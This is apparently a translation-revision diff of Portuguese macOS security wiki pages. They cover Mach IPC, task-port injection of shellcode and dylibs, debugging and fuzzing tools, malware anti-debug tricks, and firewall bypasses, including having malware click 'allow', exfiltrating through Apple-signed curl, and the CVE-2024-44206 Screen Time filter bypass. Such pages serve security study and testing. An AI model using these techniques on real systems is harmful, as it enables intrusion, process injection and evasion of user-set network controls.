3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, fornecendo o **nome do serviço da porta** e o **direito de ENVIO** através de um procedimento conhecido como registro de inicialização.
|
||||
4. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização pelo nome do serviço**. Se bem-sucedida, o **servidor duplica o direito de ENVIO** recebido da Tarefa A e **transmite para a Tarefa B**.
|
||||
5. Ao adquirir um direito de ENVIO, a Tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
|
||||
6. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e concede o **direito de ENVIO à Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
|
||||
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **impersonar qualquer tarefa do sistema**, como falsamente **reivindicar um nome de serviço de autorização** e, em seguida, aprovar cada solicitação.
|
||||
|
||||
@ -52,10 +52,10 @@ Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em a
|
||||
Para esses serviços predefinidos, o **processo de busca difere ligeiramente**. Quando um nome de serviço está sendo buscado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
|
||||
|
||||
- A tarefa **B** inicia uma **busca de inicialização** por um nome de serviço.
|
||||
- O **launchd** verifica se a tarefa está em execução e, se não estiver, **inicia**.
|
||||
- A tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIAR, retém-o e **transfere o direito de RECEBER para a Tarefa A**.
|
||||
- O launchd duplica o **direito de ENVIAR e o envia para a Tarefa B**.
|
||||
- A tarefa **B** gera uma nova porta com um direito de **RECEBER** e um direito de **ENVIAR**, e dá o **direito de ENVIAR à Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
- **launchd** verifica se a tarefa está em execução e, se não estiver, **inicia**.
|
||||
- A tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIO, o retém e **transfere o direito de RECEBER para a Tarefa A**.
|
||||
- O launchd duplica o **direito de ENVIO e o envia para a Tarefa B**.
|
||||
- A Tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO à Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
|
||||
|
||||
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam como descrito originalmente, o que poderia potencialmente permitir a impersonação.
|
||||
|
||||
@ -89,7 +89,7 @@ Os outros campos do cabeçalho da mensagem são:
|
||||
- `msgh_id`: o ID desta mensagem, que é interpretado pelo destinatário.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que **mensagens mach são enviadas através de uma \_porta mach**\_, que é um canal de comunicação **um único receptor**, **múltiplos remetentes** embutido no núcleo mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
|
||||
> Note que **mensagens mach são enviadas através de uma \_porta mach**\_, que é um canal de comunicação **de um único receptor**, **múltiplos remetentes** embutido no núcleo mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
|
||||
|
||||
### Enumerar portas
|
||||
```bash
|
||||
@ -227,14 +227,14 @@ printf("Sent a message\n");
|
||||
|
||||
### Portas Privilegiadas
|
||||
|
||||
- **Porta do host**: Se um processo tiver privilégio de **Enviar** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
|
||||
- **Porta do host**: Se um processo tem privilégio de **Enviar** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
|
||||
- **Porta priv do host**: Um processo com direito de **Enviar** sobre esta porta pode realizar **ações privilegiadas** como carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
|
||||
- Além disso, para chamar a API **`kext_request`**, é necessário ter outros direitos **`com.apple.private.kext*`** que são concedidos apenas a binários da Apple.
|
||||
- **Porta de nome da tarefa:** Uma versão não privilegiada da _porta de tarefa_. Ela referencia a tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é `task_info()`.
|
||||
- **Porta de tarefa** (também conhecida como porta do kernel): Com permissão de Enviar sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
|
||||
- Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa chamadora. Esta porta é apenas **herdada** através de **`exec()`**; uma nova tarefa criada com `fork()` recebe uma nova porta de tarefa (como um caso especial, uma tarefa também recebe uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de criar uma tarefa e obter sua porta é realizar a ["dança de troca de porta"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) enquanto faz um `fork()`.
|
||||
- Estas são as restrições para acessar a porta (do `macos_task_policy` do binário `AppleMobileFileIntegrity`):
|
||||
- Se o aplicativo tiver a **isenção `com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta de tarefa** (comumente adicionada pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
|
||||
- Se o aplicativo tem a **isenção `com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta de tarefa** (comumente adicionada pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
|
||||
- Aplicativos com a isenção **`com.apple.system-task-ports`** podem obter a **porta de tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamada de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
|
||||
- **Root pode acessar portas de tarefa** de aplicativos **não** compilados com um tempo de execução **endurecido** (e não da Apple).
|
||||
|
||||
@ -499,15 +499,15 @@ return 0;
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Injeção de Dylib em thread via porta de Tarefa
|
||||
### Injeção de Dylib em thread via Porta de Tarefa
|
||||
|
||||
No macOS, **threads** podem ser manipuladas via **Mach** ou usando a **api posix `pthread`**. A thread que geramos na injeção anterior foi gerada usando a api Mach, então **não é compatível com posix**.
|
||||
|
||||
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava funcionar com apis** compatíveis com posix, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
|
||||
|
||||
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`**, que irá **criar um pthread válido**. Então, esse novo pthread poderia **chamar dlopen** para **carregar um dylib** do sistema, assim, em vez de escrever um novo shellcode para realizar diferentes ações, é possível carregar bibliotecas personalizadas.
|
||||
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`**, que **criará um pthread válido**. Então, esse novo pthread poderia **chamar dlopen** para **carregar um dylib** do sistema, assim, em vez de escrever um novo shellcode para realizar diferentes ações, é possível carregar bibliotecas personalizadas.
|
||||
|
||||
Você pode encontrar **exemplos de dylibs** em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
|
||||
Você pode encontrar **dylibs de exemplo** em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -805,7 +805,7 @@ Nesta técnica, um thread do processo é sequestrado:
|
||||
|
||||
### Informações Básicas
|
||||
|
||||
XPC, que significa XNU (o kernel usado pelo macOS) inter-Process Communication, é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método assíncronas e seguras entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o potencial de danos de um processo comprometido.
|
||||
XPC, que significa Comunicação Inter-Processo XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método assíncronas e seguras entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados**, onde cada **componente** é executado com **apenas as permissões necessárias** para realizar sua função, limitando assim o potencial de danos de um processo comprometido.
|
||||
|
||||
Para mais informações sobre como essa **comunicação funciona** e como ela **pode ser vulnerável**, consulte:
|
||||
|
||||
|
||||
@ -33,7 +33,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...)
|
||||
ARCH=arm64e disarm -c -d /path/bin # Get disasembled
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info
|
||||
```
|
||||
Você pode [**baixar jtool2 aqui**](http://www.newosxbook.com/tools/jtool.html) ou instalá-lo com `brew`.
|
||||
Você pode [**baixar o jtool2 aqui**](http://www.newosxbook.com/tools/jtool.html) ou instalá-lo com `brew`.
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
@ -50,7 +50,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
|
||||
# Get MIG information
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
> [!CAUTION] > **jtool está obsoleto em favor do disarm**
|
||||
> [!CAUTION] > **jtool está obsoleto em favor de disarm**
|
||||
|
||||
### Codesign / ldid
|
||||
|
||||
@ -92,7 +92,7 @@ Esta ferramenta permite **montar** imagens de disco da Apple (**.dmg**) para ins
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
Ele será montado em `/Volumes`
|
||||
Será montado em `/Volumes`
|
||||
|
||||
### Binários empacotados
|
||||
|
||||
@ -144,7 +144,7 @@ x64:
|
||||
| **6º argumento** | **r9** | **4º argumento para o método** |
|
||||
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
|
||||
|
||||
### Despejar metadados do ObjectiveC
|
||||
### Despejar metadados de ObjectiveC
|
||||
|
||||
### Dynadump
|
||||
|
||||
@ -177,7 +177,7 @@ print(metadata.to_decl())
|
||||
```
|
||||
## Análise estática de Swift
|
||||
|
||||
Com binários Swift, uma vez que há compatibilidade com Objective-C, às vezes você pode extrair declarações usando [class-dump](https://github.com/nygard/class-dump/) mas nem sempre.
|
||||
Com binários Swift, uma vez que há compatibilidade com Objective-C, às vezes você pode extrair declarações usando [class-dump](https://github.com/nygard/class-dump/), mas nem sempre.
|
||||
|
||||
Com os comandos **`jtool -l`** ou **`otool -l`** é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
|
||||
```bash
|
||||
@ -230,7 +230,7 @@ Seu plist está localizado em `/System/Library/LaunchDaemons/com.apple.sysdiagno
|
||||
|
||||
- `com.apple.sysdiagnose.CacheDelete`: Deleta arquivos antigos em /var/rmp
|
||||
- `com.apple.sysdiagnose.kernel.ipc`: Porta especial 23 (kernel)
|
||||
- `com.apple.sysdiagnose.service.xpc`: Interface em modo usuário através da classe Obj-C `Libsysdiagnose`. Três argumentos em um dicionário podem ser passados (`compress`, `display`, `run`)
|
||||
- `com.apple.sysdiagnose.service.xpc`: Interface de modo usuário através da classe Obj-C `Libsysdiagnose`. Três argumentos em um dicionário podem ser passados (`compress`, `display`, `run`)
|
||||
|
||||
### Logs Unificados
|
||||
|
||||
@ -343,7 +343,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
|
||||
Ferramentas como `latency`, `sc_usage`, `fs_usage` e `trace` a utilizam internamente.
|
||||
|
||||
Para interagir com `kdebug`, usa-se `sysctl` sobre o namespace `kern.kdebug`, e os MIBs a serem utilizados podem ser encontrados em `sys/sysctl.h`, com as funções implementadas em `bsd/kern/kdebug.c`.
|
||||
Para interagir com `kdebug`, usa-se `sysctl` sobre o namespace `kern.kdebug` e os MIBs que podem ser encontrados em `sys/sysctl.h`, tendo as funções implementadas em `bsd/kern/kdebug.c`.
|
||||
|
||||
Para interagir com kdebug com um cliente personalizado, geralmente esses são os passos:
|
||||
|
||||
@ -363,7 +363,7 @@ Para obter essas informações, é possível usar a ferramenta da Apple **`trace
|
||||
|
||||
As APIs `ktrace_*` vêm de `libktrace.dylib`, que envolvem as de `Kdebug`. Assim, um cliente pode simplesmente chamar `ktrace_session_create` e `ktrace_events_[single/class]` para definir callbacks em códigos específicos e, em seguida, iniciá-lo com `ktrace_start`.
|
||||
|
||||
Você pode usar este mesmo com **SIP ativado**.
|
||||
Você pode usar este mesmo com **SIP ativado**
|
||||
|
||||
Você pode usar como clientes a utilidade `ktrace`:
|
||||
```bash
|
||||
@ -408,7 +408,7 @@ Você precisa monitorar seu mac com um comando como **`sudo eslogger fork exec r
|
||||
|
||||
### fs_usage
|
||||
|
||||
Permite seguir as ações realizadas por processos:
|
||||
Permite seguir ações realizadas por processos:
|
||||
```bash
|
||||
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
|
||||
fs_usage -w -f network curl #This tracks network actions
|
||||
@ -420,11 +420,11 @@ Ele também verifica os processos binários contra o **virustotal** e mostra inf
|
||||
|
||||
## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
No [**este post do blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) você pode encontrar um exemplo sobre como **depurar um daemon em execução** que usou **`PT_DENY_ATTACH`** para prevenir a depuração mesmo que o SIP estivesse desativado.
|
||||
No [**este post de blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) você pode encontrar um exemplo sobre como **depurar um daemon em execução** que usou **`PT_DENY_ATTACH`** para prevenir a depuração mesmo que o SIP estivesse desativado.
|
||||
|
||||
### lldb
|
||||
|
||||
**lldb** é a ferramenta de **fato** para **depuração** de binários no **macOS**.
|
||||
**lldb** é a ferramenta de **facto** para **depuração** de binários **macOS**.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
@ -438,7 +438,7 @@ settings set target.x86-disassembly-flavor intel
|
||||
> [!WARNING]
|
||||
> Dentro do lldb, despeje um processo com `process save-core`
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inicia a execução, que continuará sem interrupções até que um ponto de interrupção seja atingido ou o processo termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inicia a execução parando no ponto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua a execução do processo depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executa a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executa o restante das instruções na função atual (“frame”) e retorna, parando.</td></tr><tr><td><strong>control + c</strong></td><td>Pausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando atualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualquer função chamada main</p><p><code>b <binname>`main</code> #Função main do binário</p><p><code>b set -n main --shlib <lib_name></code> #Função main do binário indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualquer método NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompe em todas as funções daquela biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de breakpoints</p><p><code>br e/dis <num></code> #Habilitar/Desabilitar breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando breakpoint</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/endereço de memória></strong></td><td>Exibe a memória como uma string terminada em nulo.</td></tr><tr><td><strong>x/i <reg/endereço de memória></strong></td><td>Exibe a memória como instrução de assembly.</td></tr><tr><td><strong>x/b <reg/endereço de memória></strong></td><td>Exibe a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isso imprimirá o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o comando “print object” (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmonta a função atual</p><p>dis -n <funcname> #Desmonta a função</p><p>dis -n <funcname> -b <basename> #Desmonta a função<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro<br>dis -p -c 4 # Começa no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verifica array de 3 componentes no registrador x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprime o mapa da memória do processo atual</td></tr><tr><td><strong>image dump symtab <biblioteca></strong></td><td><code>image dump symtab CoreNLP</code> #Obtém o endereço de todos os símbolos do CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inicia a execução, que continuará sem interrupções até que um ponto de interrupção seja atingido ou o processo termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inicia a execução parando no ponto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua a execução do processo depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executa a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executa o restante das instruções na função atual (“frame”) e retorna, parando.</td></tr><tr><td><strong>control + c</strong></td><td>Pausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando atualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualquer função chamada main</p><p><code>b <binname>`main</code> #Função main do binário</p><p><code>b set -n main --shlib <lib_name></code> #Função main do binário indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualquer método NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompe em todas as funções daquela biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de breakpoints</p><p><code>br e/dis <num></code> #Habilitar/Desabilitar breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando breakpoint</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/endereço de memória></strong></td><td>Exibe a memória como uma string terminada em nulo.</td></tr><tr><td><strong>x/i <reg/endereço de memória></strong></td><td>Exibe a memória como instrução de assembly.</td></tr><tr><td><strong>x/b <reg/endereço de memória></strong></td><td>Exibe a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isso irá imprimir o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o comando “print object” (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmonta a função atual</p><p>dis -n <funcname> #Desmonta a função</p><p>dis -n <funcname> -b <basename> #Desmonta a função<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro<br>dis -p -c 4 # Começa no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verifica array de 3 componentes no registrador x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprime o mapa da memória do processo atual</td></tr><tr><td><strong>image dump symtab <biblioteca></strong></td><td><code>image dump symtab CoreNLP</code> #Obtém o endereço de todos os símbolos do CoreNLP</td></tr></tbody></table>
|
||||
|
||||
> [!TIP]
|
||||
> Ao chamar a função **`objc_sendMsg`**, o registrador **rsi** contém o **nome do método** como uma string terminada em nulo (“C”). Para imprimir o nome via lldb faça:
|
||||
@ -454,35 +454,35 @@ settings set target.x86-disassembly-flavor intel
|
||||
|
||||
#### Detecção de VM
|
||||
|
||||
- O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS** mas algo diferente quando é uma VM.
|
||||
- O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS**, mas algo diferente quando é uma VM.
|
||||
- Brincando com os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`**, alguns malwares tentam detectar se é uma VM.
|
||||
- Alguns malwares também podem **detectar** se a máquina é **baseada em VMware** com base no endereço MAC (00:50:56).
|
||||
- Também é possível descobrir **se um processo está sendo depurado** com um código simples como:
|
||||
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo sendo depurado }`
|
||||
- Ele também pode invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** que um depurador se anexe e trace.
|
||||
- Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware pode importá-la dinamicamente)
|
||||
- Como observado neste texto, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
- Como observado neste artigo, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_A mensagem Process # exited with **status = 45 (0x0000002d)** é geralmente um sinal claro de que o alvo de depuração está usando **PT_DENY_ATTACH**_”
|
||||
|
||||
## Core Dumps
|
||||
## Dumps de Core
|
||||
|
||||
Core dumps são criados se:
|
||||
Dumps de core são criados se:
|
||||
|
||||
- `kern.coredump` sysctl está definido como 1 (por padrão)
|
||||
- Se o processo não era suid/sgid ou `kern.sugid_coredump` é 1 (por padrão é 0)
|
||||
- O limite `AS_CORE` permite a operação. É possível suprimir a criação de core dumps chamando `ulimit -c 0` e reabilitá-los com `ulimit -c unlimited`.
|
||||
- O limite `AS_CORE` permite a operação. É possível suprimir a criação de dumps de core chamando `ulimit -c 0` e reabilitá-los com `ulimit -c unlimited`.
|
||||
|
||||
Nesses casos, o core dump é gerado de acordo com o sysctl `kern.corefile` e geralmente armazenado em `/cores/core/.%P`.
|
||||
Nesses casos, o dump de core é gerado de acordo com o sysctl `kern.corefile` e geralmente armazenado em `/cores/core/.%P`.
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **analisa processos que falham e salva um relatório de falha no disco**. Um relatório de falha contém informações que podem **ajudar um desenvolvedor a diagnosticar** a causa de uma falha.\
|
||||
Para aplicativos e outros processos **executando no contexto do launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de falha nos `~/Library/Logs/DiagnosticReports/` do usuário.\
|
||||
Para daemons, outros processos **executando no contexto do launchd do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de falha nos `/Library/Logs/DiagnosticReports` do sistema.
|
||||
Para aplicativos e outros processos **executando no contexto de launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de falha nos `~/Library/Logs/DiagnosticReports/` do usuário.\
|
||||
Para daemons, outros processos **executando no contexto de launchd do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de falha nos `/Library/Logs/DiagnosticReports` do sistema.
|
||||
|
||||
Se você está preocupado com relatórios de falha **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
|
||||
Se você está preocupado com relatórios de falha **sendo enviados para a Apple**, você pode desativá-los. Se não, os relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
@ -494,7 +494,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
||||
```
|
||||
### Sono
|
||||
|
||||
Enquanto fuzzing em um MacOS, é importante não permitir que o Mac entre em modo de espera:
|
||||
Enquanto faz fuzzing em um MacOS, é importante não permitir que o Mac entre em modo de espera:
|
||||
|
||||
- systemsetup -setsleep Never
|
||||
- pmset, Preferências do Sistema
|
||||
@ -502,7 +502,7 @@ Enquanto fuzzing em um MacOS, é importante não permitir que o Mac entre em mod
|
||||
|
||||
#### Desconexão SSH
|
||||
|
||||
Se você estiver fuzzing via uma conexão SSH, é importante garantir que a sessão não vá expirar. Portanto, altere o arquivo sshd_config com:
|
||||
Se você estiver fazendo fuzzing via uma conexão SSH, é importante garantir que a sessão não vá expirar. Portanto, altere o arquivo sshd_config com:
|
||||
|
||||
- TCPKeepAlive Yes
|
||||
- ClientAliveInterval 0
|
||||
@ -515,6 +515,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
||||
|
||||
**Confira a página a seguir** para descobrir como você pode encontrar qual aplicativo é responsável por **manipular o esquema ou protocolo especificado:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../macos-file-extension-apps.md
|
||||
{{#endref}}
|
||||
@ -540,7 +541,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
|
||||
|
||||
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
|
||||
|
||||
Funciona para ferramentas de CLI
|
||||
Funciona para ferramentas de linha de comando
|
||||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
|
||||
@ -14,7 +14,7 @@ As seguintes técnicas foram encontradas funcionando em alguns aplicativos de fi
|
||||
|
||||
- Se o firewall pedir permissão ao usuário, faça o malware **clicar em permitir**
|
||||
|
||||
### **Usar binários assinados pela Apple**
|
||||
### **Use binários assinados pela Apple**
|
||||
|
||||
- Como **`curl`**, mas também outros como **`whois`**
|
||||
|
||||
@ -26,7 +26,7 @@ O firewall pode estar permitindo conexões a domínios bem conhecidos da Apple,
|
||||
|
||||
Algumas ideias para tentar contornar firewalls
|
||||
|
||||
### Verificar tráfego permitido
|
||||
### Verifique o tráfego permitido
|
||||
|
||||
Saber o tráfego permitido ajudará você a identificar domínios potencialmente na lista branca ou quais aplicativos têm permissão para acessá-los.
|
||||
```bash
|
||||
@ -76,7 +76,7 @@ macos-proces-abuse/
|
||||
|
||||
### Bypass do filtro de conteúdo da web (Tempo de Tela) – **CVE-2024-44206**
|
||||
Em julho de 2024, a Apple corrigiu um bug crítico no Safari/WebKit que quebrou o “filtro de conteúdo da web” em todo o sistema usado pelos controles parentais do Tempo de Tela.
|
||||
Um URI especialmente elaborado (por exemplo, com “://” codificado em URL duplo) não é reconhecido pela ACL do Tempo de Tela, mas é aceito pelo WebKit, portanto, a solicitação é enviada sem filtragem. Qualquer processo que possa abrir uma URL (incluindo código sandboxed ou não assinado) pode, portanto, acessar domínios que estão explicitamente bloqueados pelo usuário ou por um perfil MDM.
|
||||
Uma URI especialmente elaborada (por exemplo, com “://” codificado em URL duplo) não é reconhecida pela ACL do Tempo de Tela, mas é aceita pelo WebKit, portanto, a solicitação é enviada sem filtragem. Qualquer processo que possa abrir uma URL (incluindo código sandboxed ou não assinado) pode, portanto, acessar domínios que estão explicitamente bloqueados pelo usuário ou por um perfil MDM.
|
||||
|
||||
Teste prático (sistema não corrigido):
|
||||
```bash
|
||||
@ -94,7 +94,7 @@ sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
|
||||
```
|
||||
### Abusando de serviços auxiliares assinados pela Apple (legado – pré-macOS 11.2)
|
||||
Antes do macOS 11.2, a **`ContentFilterExclusionList`** permitia que ~50 binários da Apple, como **`nsurlsessiond`** e a App Store, contornassem todos os firewalls de filtro de soquete implementados com o framework Network Extension (LuLu, Little Snitch, etc.).
|
||||
